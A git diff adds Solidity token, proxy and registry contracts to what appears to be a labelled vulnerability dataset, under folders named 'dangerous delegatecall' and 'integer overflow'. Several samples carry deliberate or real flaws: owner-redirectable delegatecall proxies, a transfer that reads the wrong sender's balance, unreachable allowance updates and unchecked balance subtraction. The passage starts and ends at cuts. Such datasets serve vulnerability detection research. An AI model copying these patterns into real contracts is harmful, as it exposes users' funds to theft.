+ balances[_from] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + } + + + function transferFrom(address from, address to, uint value) public returns (bool) { + bytes memory empty; + if (isContract(to)) { + return transferToContract(to, value, empty, true); + } + else { + return transferToAddress(to, value, true); + } + allowed[from][msg.sender] = allowed[from][msg.sender].sub(value); + return true; + } +} +contract TimeVaultToken is owned, TimeVaultInterface, ERC20Token { + + function transferByOwner(address to, uint value, uint earliestReTransferTime) onlyOwner public returns (bool) { + transfer(to, value); + timevault[to] = earliestReTransferTime; + return true; + } + + function timeVault(address owner) public constant returns (uint earliestTransferTime) { + return timevault[owner]; + } + + function getNow() public constant returns (uint blockchainTimeNow) { + return now; + } + +} +contract StandardToken is TimeVaultToken { + + function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} +contract StandardTokenExt is StandardToken { + + + function isToken() public pure returns (bool weAre) { + return true; + } +} +contract OwnershipTransferrable is TimeVaultToken { + + event OwnershipTransferred(address indexed _from, address indexed _to); + + + function transferOwnership(address newOwner) onlyOwner public { + transferByOwner(newOwner, balanceOf(owner), 0); + owner = newOwner; + emit OwnershipTransferred(msg.sender, newOwner); + } + +} +contract VersionedToken is owned { + address public upgradableContractAddress; + + + constructor(address initialImplementation) public { + upgradableContractAddress = initialImplementation; + } + + + + function upgradeToken(address newImplementation) onlyOwner public { + upgradableContractAddress = newImplementation; + } + + + function() public { + address upgradableContractMem = upgradableContractAddress; + bytes memory functionCall = msg.data; + + assembly { + + let functionCallSize := mload(functionCall) + + + let functionCallDataAddress := add(functionCall, 0x20) + + + let functionCallResult := delegatecall(gas, upgradableContractMem, functionCallDataAddress, functionCallSize, 0, 0) + + let freeMemAddress := mload(0x40) + + switch functionCallResult + case 0 { + + revert(freeMemAddress, 0) + } + default { + + returndatacopy(freeMemAddress, 0x0, returndatasize) + + return (freeMemAddress, returndatasize) + } + } + } +} +contract SPFCToken is VersionedToken, SPFCTokenType { + string public name; + string public symbol; + + constructor(address _tokenOwner, string _tokenName, string _tokenSymbol, uint _totalSupply, uint _decimals, uint _globalTimeVaultOpeningTime, address _initialImplementation) VersionedToken(_initialImplementation) public { + name = _tokenName; + symbol = _tokenSymbol; + decimals = _decimals; + totalSupply = _totalSupply * 10 ** uint(decimals); + + balances[_tokenOwner] = totalSupply; + emit Transfer(address(0), owner, totalSupply); + globalTimeVault = _globalTimeVaultOpeningTime; + released = false; + + } +} +contract SPFCTokenImpl is StandardTokenExt { + + event UpdatedTokenInformation(string newName, string newSymbol); + + string public name; + string public symbol; + + + function releaseTokenTransfer(bool _value) onlyOwner public { + released = _value; + } + + function setGlobalTimeVault(uint _globalTimeVaultOpeningTime) onlyOwner public { + globalTimeVault = _globalTimeVaultOpeningTime; + } + + function setTokenInformation(string _tokenName, string _tokenSymbol) onlyOwner public { + name = _tokenName; + symbol = _tokenSymbol; + emit UpdatedTokenInformation(name, symbol); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/7129.sol b/smart_contract_dataset/dangerous delegatecall/7129.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/7129.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/7493.sol b/smart_contract_dataset/dangerous delegatecall/7493.sol new file mode 100644 index 0000000000000000000000000000000000000000..cfaf4249f1e7ab673993df241e5513c00a161ee8 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/7493.sol @@ -0,0 +1,677 @@ +pragma solidity ^0.4.21; + + + + + + +library Math { + + + + uint public constant ONE = 0x10000000000000000; + uint public constant LN2 = 0xb17217f7d1cf79ac; + uint public constant LOG2_E = 0x171547652b82fe177; + + + + + + function exp(int x) + public + pure + returns (uint) + { + + + require(x <= 2454971259878909886679); + + + if (x < -818323753292969962227) + return 0; + + x = x * int(ONE) / int(LN2); + + + + int shift; + uint z; + if (x >= 0) { + shift = x / int(ONE); + z = uint(x % int(ONE)); + } + else { + shift = x / int(ONE) - 1; + z = ONE - uint(-x % int(ONE)); + } + + + + + + + + + + + + + + uint zpow = z; + uint result = ONE; + result += 0xb17217f7d1cf79ab * zpow / ONE; + zpow = zpow * z / ONE; + result += 0x3d7f7bff058b1d50 * zpow / ONE; + zpow = zpow * z / ONE; + result += 0xe35846b82505fc5 * zpow / ONE; + zpow = zpow * z / ONE; + result += 0x276556df749cee5 * zpow / ONE; + zpow = zpow * z / ONE; + result += 0x5761ff9e299cc4 * zpow / ONE; + zpow = zpow * z / ONE; + result += 0xa184897c363c3 * zpow / ONE; + zpow = zpow * z / ONE; + result += 0xffe5fe2c4586 * zpow / ONE; + zpow = zpow * z / ONE; + result += 0x162c0223a5c8 * zpow / ONE; + zpow = zpow * z / ONE; + result += 0x1b5253d395e * zpow / ONE; + zpow = zpow * z / ONE; + result += 0x1e4cf5158b * zpow / ONE; + zpow = zpow * z / ONE; + result += 0x1e8cac735 * zpow / ONE; + zpow = zpow * z / ONE; + result += 0x1c3bd650 * zpow / ONE; + zpow = zpow * z / ONE; + result += 0x1816193 * zpow / ONE; + zpow = zpow * z / ONE; + result += 0x131496 * zpow / ONE; + zpow = zpow * z / ONE; + result += 0xe1b7 * zpow / ONE; + zpow = zpow * z / ONE; + result += 0x9c7 * zpow / ONE; + if (shift >= 0) { + if (result >> (256-shift) > 0) + return (2**256-1); + return result << shift; + } + else + return result >> (-shift); + } + + + + + function ln(uint x) + public + pure + returns (int) + { + require(x > 0); + + int ilog2 = floorLog2(x); + int z; + if (ilog2 < 0) + z = int(x << uint(-ilog2)); + else + z = int(x >> uint(ilog2)); + + + + + + int term = (z - int(ONE)) * int(ONE) / (z + int(ONE)); + int halflnz = term; + int termpow = term * term / int(ONE) * term / int(ONE); + halflnz += termpow / 3; + termpow = termpow * term / int(ONE) * term / int(ONE); + halflnz += termpow / 5; + termpow = termpow * term / int(ONE) * term / int(ONE); + halflnz += termpow / 7; + termpow = termpow * term / int(ONE) * term / int(ONE); + halflnz += termpow / 9; + termpow = termpow * term / int(ONE) * term / int(ONE); + halflnz += termpow / 11; + termpow = termpow * term / int(ONE) * term / int(ONE); + halflnz += termpow / 13; + termpow = termpow * term / int(ONE) * term / int(ONE); + halflnz += termpow / 15; + termpow = termpow * term / int(ONE) * term / int(ONE); + halflnz += termpow / 17; + termpow = termpow * term / int(ONE) * term / int(ONE); + halflnz += termpow / 19; + termpow = termpow * term / int(ONE) * term / int(ONE); + halflnz += termpow / 21; + termpow = termpow * term / int(ONE) * term / int(ONE); + halflnz += termpow / 23; + termpow = termpow * term / int(ONE) * term / int(ONE); + halflnz += termpow / 25; + return (ilog2 * int(ONE)) * int(ONE) / int(LOG2_E) + 2 * halflnz; + } + + + + + function floorLog2(uint x) + public + pure + returns (int lo) + { + lo = -64; + int hi = 193; + + int mid = (hi + lo) >> 1; + while((lo + 1) < hi) { + if (mid < 0 && x << uint(-mid) < ONE || mid >= 0 && x >> uint(mid) < ONE) + hi = mid; + else + lo = mid; + mid = (hi + lo) >> 1; + } + } + + + + + function max(int[] nums) + public + pure + returns (int maxNum) + { + require(nums.length > 0); + maxNum = -2**255; + for (uint i = 0; i < nums.length; i++) + if (nums[i] > maxNum) + maxNum = nums[i]; + } + + + + + + function safeToAdd(uint a, uint b) + internal + pure + returns (bool) + { + return a + b >= a; + } + + + + + + function safeToSub(uint a, uint b) + internal + pure + returns (bool) + { + return a >= b; + } + + + + + + function safeToMul(uint a, uint b) + internal + pure + returns (bool) + { + return b == 0 || a * b / b == a; + } + + + + + + function add(uint a, uint b) + internal + pure + returns (uint) + { + require(safeToAdd(a, b)); + return a + b; + } + + + + + + function sub(uint a, uint b) + internal + pure + returns (uint) + { + require(safeToSub(a, b)); + return a - b; + } + + + + + + function mul(uint a, uint b) + internal + pure + returns (uint) + { + require(safeToMul(a, b)); + return a * b; + } + + + + + + function safeToAdd(int a, int b) + internal + pure + returns (bool) + { + return (b >= 0 && a + b >= a) || (b < 0 && a + b < a); + } + + + + + + function safeToSub(int a, int b) + internal + pure + returns (bool) + { + return (b >= 0 && a - b <= a) || (b < 0 && a - b > a); + } + + + + + + function safeToMul(int a, int b) + internal + pure + returns (bool) + { + return (b == 0) || (a * b / b == a); + } + + + + + + function add(int a, int b) + internal + pure + returns (int) + { + require(safeToAdd(a, b)); + return a + b; + } + + + + + + function sub(int a, int b) + internal + pure + returns (int) + { + require(safeToSub(a, b)); + return a - b; + } + + + + + + function mul(int a, int b) + internal + pure + returns (int) + { + require(safeToMul(a, b)); + return a * b; + } +} + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + + +pragma solidity ^0.4.21; + + + +contract Token { + + + event Transfer(address indexed from, address indexed to, uint value); + event Approval(address indexed owner, address indexed spender, uint value); + + + function transfer(address to, uint value) public returns (bool); + function transferFrom(address from, address to, uint value) public returns (bool); + function approve(address spender, uint value) public returns (bool); + function balanceOf(address owner) public view returns (uint); + function allowance(address owner, address spender) public view returns (uint); + function totalSupply() public view returns (uint); +} + + + +contract StandardTokenData { + + + mapping (address => uint) balances; + mapping (address => mapping (address => uint)) allowances; + uint totalTokens; +} + + +contract StandardToken is Token, StandardTokenData { + using Math for *; + + + + + + + function transfer(address to, uint value) + public + returns (bool) + { + if ( !balances[msg.sender].safeToSub(value) + || !balances[to].safeToAdd(value)) + return false; + balances[msg.sender] -= value; + balances[to] += value; + emit Transfer(msg.sender, to, value); + return true; + } + + + + + + + function transferFrom(address from, address to, uint value) + public + returns (bool) + { + if ( !balances[from].safeToSub(value) + || !allowances[from][msg.sender].safeToSub(value) + || !balances[to].safeToAdd(value)) + return false; + balances[from] -= value; + allowances[from][msg.sender] -= value; + balances[to] += value; + emit Transfer(from, to, value); + return true; + } + + + + + + function approve(address spender, uint value) + public + returns (bool) + { + allowances[msg.sender][spender] = value; + emit Approval(msg.sender, spender, value); + return true; + } + + + + + + function allowance(address owner, address spender) + public + view + returns (uint) + { + return allowances[owner][spender]; + } + + + + + function balanceOf(address owner) + public + view + returns (uint) + { + return balances[owner]; + } + + + + function totalSupply() + public + view + returns (uint) + { + return totalTokens; + } +} + + + + +contract TokenFRT is StandardToken { + string public constant symbol = "MGN"; + string public constant name = "Magnolia Token"; + uint8 public constant decimals = 18; + + struct unlockedToken { + uint amountUnlocked; + uint withdrawalTime; + } + + + + address public owner; + address public minter; + + + mapping (address => unlockedToken) public unlockedTokens; + + + mapping (address => uint) public lockedTokenBalances; + + + + function TokenFRT( + address _owner + ) + public + { + require(_owner != address(0)); + owner = _owner; + } + + + + function updateMinter( + address _minter + ) + public + { + require(msg.sender == owner); + require(_minter != address(0)); + + minter = _minter; + } + + + + function updateOwner( + address _owner + ) + public + { + require(msg.sender == owner); + require(_owner != address(0)); + owner = _owner; + } + + function mintTokens( + address user, + uint amount + ) + public + { + require(msg.sender == minter); + + lockedTokenBalances[user] = add(lockedTokenBalances[user], amount); + totalTokens = add(totalTokens, amount); + } + + + function lockTokens( + uint amount + ) + public + returns (uint totalAmountLocked) + { + + amount = min(amount, balances[msg.sender]); + + + balances[msg.sender] = sub(balances[msg.sender], amount); + lockedTokenBalances[msg.sender] = add(lockedTokenBalances[msg.sender], amount); + + + totalAmountLocked = lockedTokenBalances[msg.sender]; + } + + function unlockTokens( + uint amount + ) + public + returns (uint totalAmountUnlocked, uint withdrawalTime) + { + + amount = min(amount, lockedTokenBalances[msg.sender]); + + if (amount > 0) { + + lockedTokenBalances[msg.sender] = sub(lockedTokenBalances[msg.sender], amount); + unlockedTokens[msg.sender].amountUnlocked = add(unlockedTokens[msg.sender].amountUnlocked, amount); + unlockedTokens[msg.sender].withdrawalTime = now + 24 hours; + } + + + totalAmountUnlocked = unlockedTokens[msg.sender].amountUnlocked; + withdrawalTime = unlockedTokens[msg.sender].withdrawalTime; + } + + function withdrawUnlockedTokens() + public + { + require(unlockedTokens[msg.sender].withdrawalTime < now); + balances[msg.sender] = add(balances[msg.sender], unlockedTokens[msg.sender].amountUnlocked); + unlockedTokens[msg.sender].amountUnlocked = 0; + } + + function min(uint a, uint b) + public + pure + returns (uint) + { + if (a < b) { + return a; + } else { + return b; + } + } + + + + + function safeToAdd(uint a, uint b) + public + constant + returns (bool) + { + return a + b >= a; + } + + + + + + function safeToSub(uint a, uint b) + public + constant + returns (bool) + { + return a >= b; + } + + + + + + + function add(uint a, uint b) + public + constant + returns (uint) + { + require(safeToAdd(a, b)); + return a + b; + } + + + + + + function sub(uint a, uint b) + public + constant + returns (uint) + { + require(safeToSub(a, b)); + return a - b; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/7494.sol b/smart_contract_dataset/dangerous delegatecall/7494.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/7494.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/7628.sol b/smart_contract_dataset/dangerous delegatecall/7628.sol new file mode 100644 index 0000000000000000000000000000000000000000..809fe3c24025117aa81df8a80d2da3969990e218 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/7628.sol @@ -0,0 +1,440 @@ +pragma solidity ^0.4.21; + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + +contract Roles { + + address public superAdmin ; + + address public canary ; + + + + mapping (address => bool) public initiators ; + mapping (address => bool) public validators ; + address[] validatorsAcct ; + + + uint public qtyInitiators ; + + + + uint constant public maxValidators = 20 ; + + + uint public qtyValidators ; + + event superAdminOwnershipTransferred(address indexed previousOwner, address indexed newOwner); + event initiatorAdded(address indexed newInitiator); + event validatorAdded(address indexed newValidator); + event initiatorRemoved(address indexed removedInitiator); + event validatorRemoved(address indexed addedValidator); + event canaryOwnershipTransferred(address indexed previousOwner, address indexed newOwner) ; + + + + constructor() public + { + superAdmin = msg.sender ; + + } + + modifier onlySuperAdmin { + require( msg.sender == superAdmin ); + _; + } + + modifier onlyCanary { + require( msg.sender == canary ); + _; + } + + modifier onlyInitiators { + require( initiators[msg.sender] ); + _; + } + + modifier onlyValidators { + require( validators[msg.sender] ); + _; + } + + +function transferSuperAdminOwnership(address newOwner) public onlySuperAdmin +{ + require(newOwner != address(0)) ; + superAdmin = newOwner ; + emit superAdminOwnershipTransferred(superAdmin, newOwner) ; +} + +function transferCanaryOwnership(address newOwner) public onlySuperAdmin +{ + require(newOwner != address(0)) ; + canary = newOwner ; + emit canaryOwnershipTransferred(canary, newOwner) ; +} + + +function addValidator(address _validatorAddr) public onlySuperAdmin +{ + require(_validatorAddr != address(0)); + require(!validators[_validatorAddr]) ; + validators[_validatorAddr] = true ; + validatorsAcct.push(_validatorAddr) ; + qtyValidators++ ; + emit validatorAdded(_validatorAddr) ; +} + +function revokeValidator(address _validatorAddr) public onlySuperAdmin +{ + require(_validatorAddr != address(0)); + require(validators[_validatorAddr]) ; + validators[_validatorAddr] = false ; + + for(uint i = 0 ; i < qtyValidators ; i++ ) + { + if (validatorsAcct[i] == _validatorAddr) + validatorsAcct[i] = address(0) ; + } + qtyValidators-- ; + emit validatorRemoved(_validatorAddr) ; +} + +function addInitiator(address _initiatorAddr) public onlySuperAdmin +{ + require(_initiatorAddr != address(0)); + require(!initiators[_initiatorAddr]) ; + initiators[_initiatorAddr] = true ; + qtyInitiators++ ; + emit initiatorAdded(_initiatorAddr) ; +} + +function revokeInitiator(address _initiatorAddr) public onlySuperAdmin +{ + require(_initiatorAddr != address(0)); + require(initiators[_initiatorAddr]) ; + initiators[_initiatorAddr] = false ; + qtyInitiators-- ; + emit initiatorRemoved(_initiatorAddr) ; +} + + +} + + +contract Storage { + + + + +uint scoringThreshold ; + +struct Proposal + { + string ipfsAddress ; + uint timestamp ; + uint totalAffirmativeVotes ; + uint totalNegativeVotes ; + uint totalVoters ; + address[] votersAcct ; + mapping (address => uint) votes ; + } + + +mapping (bytes32 => Proposal) public proposals ; +uint256 totalProposals ; + + +bytes32[] rootHashesProposals ; + + + +mapping (bytes32 => string) public ipfsAddresses ; + + +bytes32[] ipfsAddressesAcct ; + +} + + +contract Registry is Storage, Roles { + + address public logic_contract; + + function setLogicContract(address _c) public onlySuperAdmin returns (bool success){ + logic_contract = _c; + return true; + } + + function () payable public { + address target = logic_contract; + assembly { + let ptr := mload(0x40) + calldatacopy(ptr, 0, calldatasize) + let result := delegatecall(gas, target, ptr, calldatasize, 0, 0) + let size := returndatasize + returndatacopy(ptr, 0, size) + switch result + case 0 { revert(ptr, size) } + case 1 { return(ptr, size) } + } + } +} + + +contract FKXIdentitiesV1 is Storage, Roles { + +using SafeMath for uint256; + +event newProposalLogged(address indexed initiator, bytes32 rootHash, string ipfsAddress ) ; +event newVoteLogged(address indexed voter, bool vote) ; +event newIpfsAddressAdded(bytes32 rootHash, string ipfsAddress ) ; + + +constructor() public +{ + qtyInitiators = 0 ; + qtyValidators = 0 ; + scoringThreshold = 10 ; +} + + + +function setScoringThreshold(uint _scoreMax) public onlySuperAdmin +{ + scoringThreshold = _scoreMax ; +} + + + + +function propose(bytes32 _rootHash, string _ipfsAddress) public onlyInitiators +{ + + require(proposals[_rootHash].timestamp == 0 ) ; + + + address[] memory newVoterAcct = new address[](maxValidators) ; + Proposal memory newProposal = Proposal( _ipfsAddress , now, 0, 0, 0, newVoterAcct ) ; + proposals[_rootHash] = newProposal ; + emit newProposalLogged(msg.sender, _rootHash, _ipfsAddress ) ; + rootHashesProposals.push(_rootHash) ; + totalProposals++ ; +} + + + +function getIpfsAddress(bytes32 _rootHash) constant public returns (string _ipfsAddress) +{ + return ipfsAddresses[_rootHash] ; +} + + +function getProposedIpfs(bytes32 _rootHash) constant public returns (string _ipfsAddress) +{ + return proposals[_rootHash].ipfsAddress ; +} + + +function howManyVoters(bytes32 _rootHash) constant public returns (uint) +{ + return proposals[_rootHash].totalVoters ; +} + + + +function vote(bytes32 _rootHash, bool _vote) public onlyValidators +{ + + + require(proposals[_rootHash].timestamp > 0) ; + + + + + + + require(proposals[_rootHash].votes[msg.sender]==0) ; + + + proposals[_rootHash].votersAcct.push(msg.sender) ; + + if (_vote ) + { + proposals[_rootHash].votes[msg.sender] = 1 ; + proposals[_rootHash].totalAffirmativeVotes++ ; + } + else + { proposals[_rootHash].votes[msg.sender] = 2 ; + proposals[_rootHash].totalNegativeVotes++ ; + } + + emit newVoteLogged(msg.sender, _vote) ; + proposals[_rootHash].totalVoters++ ; + + + + if ( isConsensusObtained(proposals[_rootHash].totalAffirmativeVotes) ) + { + + + + bytes memory tempEmptyString = bytes(ipfsAddresses[_rootHash]) ; + if ( tempEmptyString.length == 0 ) + { + ipfsAddresses[_rootHash] = proposals[_rootHash].ipfsAddress ; + emit newIpfsAddressAdded(_rootHash, ipfsAddresses[_rootHash] ) ; + ipfsAddressesAcct.push(_rootHash) ; + + } + + } + +} + + + +function getTotalQtyIpfsAddresses() constant public returns (uint) +{ + return ipfsAddressesAcct.length ; +} + + +function getOneByOneRootHash(uint _index) constant public returns (bytes32 _rootHash ) +{ + require( _index <= (getTotalQtyIpfsAddresses()-1) ) ; + return ipfsAddressesAcct[_index] ; +} + + + +function isConsensusObtained(uint _totalAffirmativeVotes) constant public returns (bool) +{ + + + + require (qtyValidators > 0) ; + uint dTotalVotes = _totalAffirmativeVotes * 10000 ; + return (dTotalVotes / qtyValidators > 5000 ) ; + +} + + + + + +function getProposals(uint _timestampFrom) constant public returns (bytes32 _rootHash) +{ + + uint max = rootHashesProposals.length ; + + for(uint i = 0 ; i < max ; i++ ) + { + if (proposals[rootHashesProposals[i]].timestamp > _timestampFrom) + return rootHashesProposals[i] ; + } + +} + + + + +function getTimestampProposal(bytes32 _rootHash) constant public returns (uint _timeStamp) +{ + return proposals[_rootHash].timestamp ; +} + + + + + +function getQtyValidators() constant public returns (uint) +{ + return qtyValidators ; +} + + + + +function getValidatorAddress(int _t) constant public returns (address _validatorAddr) +{ + int x = -1 ; + uint size = validatorsAcct.length ; + + for ( uint i = 0 ; i < size ; i++ ) + { + + if ( validators[validatorsAcct[i]] ) x++ ; + if ( x == _t ) return (validatorsAcct[i]) ; + } +} + + + + +function getStatusForRootHash(bytes32 _rootHash) constant public returns (bool) +{ + bytes memory tempEmptyStringTest = bytes(ipfsAddresses[_rootHash]); + if (tempEmptyStringTest.length == 0) { + + return false ; +} else { + + return true ; +} + +} + +} + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/117.sol b/smart_contract_dataset/integer overflow/117.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/117.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/118.sol b/smart_contract_dataset/integer overflow/118.sol new file mode 100644 index 0000000000000000000000000000000000000000..2eca77b0dff7bcfe5135b20239cd77fc18f065d1 --- /dev/null +++ b/smart_contract_dataset/integer overflow/118.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellStock is StandardToken { + string public name = "ExShellStock"; + uint8 public decimals = 8; + string public symbol = "ES"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellStock() { + require(init==true); + totalSupply = 1000000000; + balances[0xc7bab5f905a5fbd846a71b027aea111acc38f302] = totalSupply; + init = false; + } + address public controller1 =0xc7bab5f905a5fbd846a71b027aea111acc38f302; + address public controller2 =0x720c97c1b4941f4403fe40f38b0f9d684080e100; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/126.sol b/smart_contract_dataset/integer overflow/126.sol new file mode 100644 index 0000000000000000000000000000000000000000..f1d00e899695dc1927155fc3aec9de6c682e2e6c --- /dev/null +++ b/smart_contract_dataset/integer overflow/126.sol @@ -0,0 +1,96 @@ + + +pragma solidity ^0.4.21; + +contract EIP20Interface { + + + uint256 public totalSupply; + + + + function balanceOf(address _owner) public view returns (uint256 balance); + + + + + + function transfer(address _to, uint256 _value) public returns (bool success); + + + + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); + + + + + + function approve(address _spender, uint256 _value) public returns (bool success); + + + + + function allowance(address _owner, address _spender) public view returns (uint256 remaining); + + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + +contract TestCoin is EIP20Interface { + + uint256 constant private MAX_UINT256 = 2**256 - 1; + 